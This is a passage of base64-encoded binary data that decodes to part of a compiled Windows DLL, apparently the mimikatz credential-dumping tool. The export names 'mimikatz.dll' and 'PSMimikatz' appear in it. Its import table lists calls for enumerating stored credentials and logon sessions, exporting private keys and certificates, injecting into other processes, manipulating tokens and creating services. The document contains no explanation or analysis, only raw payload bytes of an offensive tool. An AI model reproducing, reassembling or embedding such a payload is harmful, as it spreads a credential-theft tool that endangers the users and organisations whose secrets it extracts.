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kQFMb29rdXBBY2NvdW50U2lkVwDfAER1cGxpY2F0ZVRva2VuRXgAAK0CU2V0S2VybmVsT2JqZWN0U2VjdXJpdHkAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAACABRnJlZVNpZABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAAABAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwCAAUlzVGV4dFVuaWNvZGUAxQBDcnlwdEdldEtleVBhcmFtAADHAENyeXB0R2V0VXNlcktleQCMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAAAtAlJlYWRFbmNyeXB0ZWRGaWxlUmF3AABVAENsb3NlRW5jcnlwdGVkRmlsZVJhdwAfAlF1ZXJ5UmVjb3ZlcnlBZ2VudHNPbkVuY3J5cHRlZEZpbGUAAB4BRnJlZUVuY3J5cHRpb25DZXJ0aWZpY2F0ZUhhc2hMaXN0ACwCUXVlcnlVc2Vyc09uRW5jcnlwdGVkRmlsZQD0AU9wZW5FbmNyeXB0ZWRGaWxlUmF3VwBzAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAG4CUmVnUXVlcnlWYWx1ZUV4VwAAYQJSZWdPcGVuS2V5RXhXADACUmVnQ2xvc2VLZXkAaAJSZWdRdWVyeUluZm9LZXlXAABPAlJlZ0VudW1LZXlFeFcAkAJSZXZlcnRUb1NlbGYAAIEAQ3JlYXRlU2VydmljZVcAAEFEVkFQSTMyLmRsbAAAPQJQb3N0VGhyZWFkTWVzc2FnZVcAAKgBR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAADyAEVudW1XaW5kb3dzAC4DV2FpdEZvcklucHV0SWRsZQAAGQNVcGRhdGVXaW5kb3cAAMIBSW52YWxpZGF0ZVJlY3QAAFVTRVIzMi5kbGwAAB4AR2V0VXNlck5hbWVFeFcAACoATHNhRnJlZVJldHVybkJ1ZmZlcgArAExzYUdldExvZ29uU2Vzc2lvbkRhdGEAACkATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBTZWN1cjMyLmRsbABLAENlcnRHZXROYW1lU3RyaW5nVwAAVwBDZXJ0T3BlblN0b3JlAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAABIAQ2VydENsb3NlU3RvcmUAAEYAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AC8AQ2VydEVudW1TeXN0ZW1TdG9yZQAQAVBGWEV4cG9ydENlcnRTdG9yZUV4AAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQBDUllQVDMyLmRsbABlAFBhdGhJc1JlbGF0aXZlVwA4AFBhdGhDYW5vbmljYWxpemVXADoAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAbAFdUU09wZW5TZXJ2ZXJXAAALAFdUU0VudW1lcmF0ZVByb2Nlc3Nlc1cAABIAV1RTRnJlZU1lbW9yeQAAAFdUU0Nsb3NlU2VydmVyAAARAFdUU0VudW1lcmF0ZVNlc3Npb25zVwBXVFNBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbAA0BVdyaXRlRmlsZQCPAENyZWF0ZUZpbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAACAJHZXRMYXN0RXJyb3IAAFIAQ2xvc2VIYW5kbGUAaAFGcmVlTGlicmFyeQBBA0xvYWRMaWJyYXJ5VwAAgARTZXRMYXN0RXJyb3IAAEwCR2V0UHJvY0FkZHJlc3MAAB4CR2V0TW9kdWxlSGFuZGxlVwAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAACCA09wZW5Qcm9jZXNzAPwEVmlydHVhbEZyZWVFeAD5BFZpcnR1YWxBbGxvY0V4AADGAUdldEN1cnJlbnRQcm9jZXNzAMYDUmVhZFByb2Nlc3NNZW1vcnkA/wRWaXJ0dWFsUHJvdGVjdEV4AAD+BFZpcnR1YWxQcm90ZWN0AAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAAKwJHZXROYXRpdmVTeXN0ZW1JbmZvAGUAQ29ubmVjdE5hbWVkUGlwZQAAoABDcmVhdGVOYW1lZFBpcGVXAADDA1JlYWRGaWxlAADlAERpc2Nvbm5lY3ROYW1lZFBpcGUAqABDcmVhdGVQcm9jZXNzVwAA+QJJc0JhZFJlYWRQdHIAAM4EVGVybWluYXRlUHJvY2VzcwAAmANQcm9jZXNzMzJGaXJzdFcAXQNNb2R1bGUzMkZpcnN0VwAAmgNQcm9jZXNzMzJOZXh0VwAAvQBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAF8DTW9kdWxlMzJOZXh0VwBKA0xvY2FsRnJlZQBkAUZvcm1hdE1lc3NhZ2VXAACsAkdldFZlcnNpb25FeFcAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAlAFHZXRDb21wdXRlck5hbWVFeFcAANEEVGhyZWFkMzJGaXJzdADPBFRlcm1pbmF0ZVRocmVhZADSBFRocmVhZDMyTmV4dAAAhwNPcGVuVGhyZWFkAADIBFN1c3BlbmRUaHJlYWQAFgRSZXN1bWVUaHJlYWQAAFYEU2V0Q29uc29sZVRpdGxlVwAAlgBDcmVhdGVKb2JPYmplY3RXAAAWAEFzc2lnblByb2Nlc3NUb0pvYk9iamVjdAAAUwJHZXRQcm9jZXNzSWQAAOwARHVwbGljYXRlSGFuZGxlAM0EVGVybWluYXRlSm9iT2JqZWN0AAABBVZpcnR1YWxRdWVyeUV4AADABFNsZWVwAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAABrAkdldFN0ZEhhbmRsZQAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgBwAkdldFN0cmluZ1R5cGVXAADuAEVuY29kZVBvaW50ZXIAywBEZWNvZGVQb2ludGVyAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwDaAkhlYXBSZUFsbG9jAMsBR2V0Q3VycmVudFRocmVhZElkAABbAUZsc1NldFZhbHVlAIwBR2V0Q29tbWFuZExpbmVBAHgBR2V0Q1BJbmZvALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AC8DTENNYXBTdHJpbmdXAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAmBFJ0bFZpcnR1YWxVbndpbmQAABgEUnRsQ2FwdHVyZUNvbnRleHQA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAFgBRmxzQWxsb2MAAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAfAUV4aXRQcm9jZXNzABoCR2V0TW9kdWxlRmlsZU5hbWVXAAB8BFNldEhhbmRsZUNvdW50AAD6AUdldEZpbGVUeXBlAGoCR2V0U3RhcnR1cEluZm9XAHQEU2V0RmlsZVBvaW50ZXIAAG4BR2V0QUNQAAA+AkdldE9FTUNQAAAMA0lzVmFsaWRDb2RlUGFnZQCUBFNldFN0ZEhhbmRsZQAAowJHZXRVc2VyRGVmYXVsdExDSUQAAAwCR2V0TG9jYWxlSW5mb1cAAAoCR2V0TG9jYWxlSW5mb0EAABIBRW51bVN5c3RlbUxvY2FsZXNBAAAOA0lzVmFsaWRMb2NhbGUAoAFHZXRDb25zb2xlQ1AAALIBR2V0Q29uc29sZU1vZGUAANwCSGVhcFNpemUAABkCR2V0TW9kdWxlRmlsZU5hbWVBAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCaAkdldFRpY2tDb3VudAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAMwVXcml0ZUNvbnNvbGVXAGEEU2V0RW5kT2ZGaWxlAABRAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAABLXSVIAAAAAHIcGAAEAAAACAAAAAgAAAAiHBgAQhwYAGIcGAIRQAQCETgEAKYcGADSHBgAAAAEAbWltaWthdHouZGxsAFBTTWltaWthdHoAV1N0cmluZ0Z1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA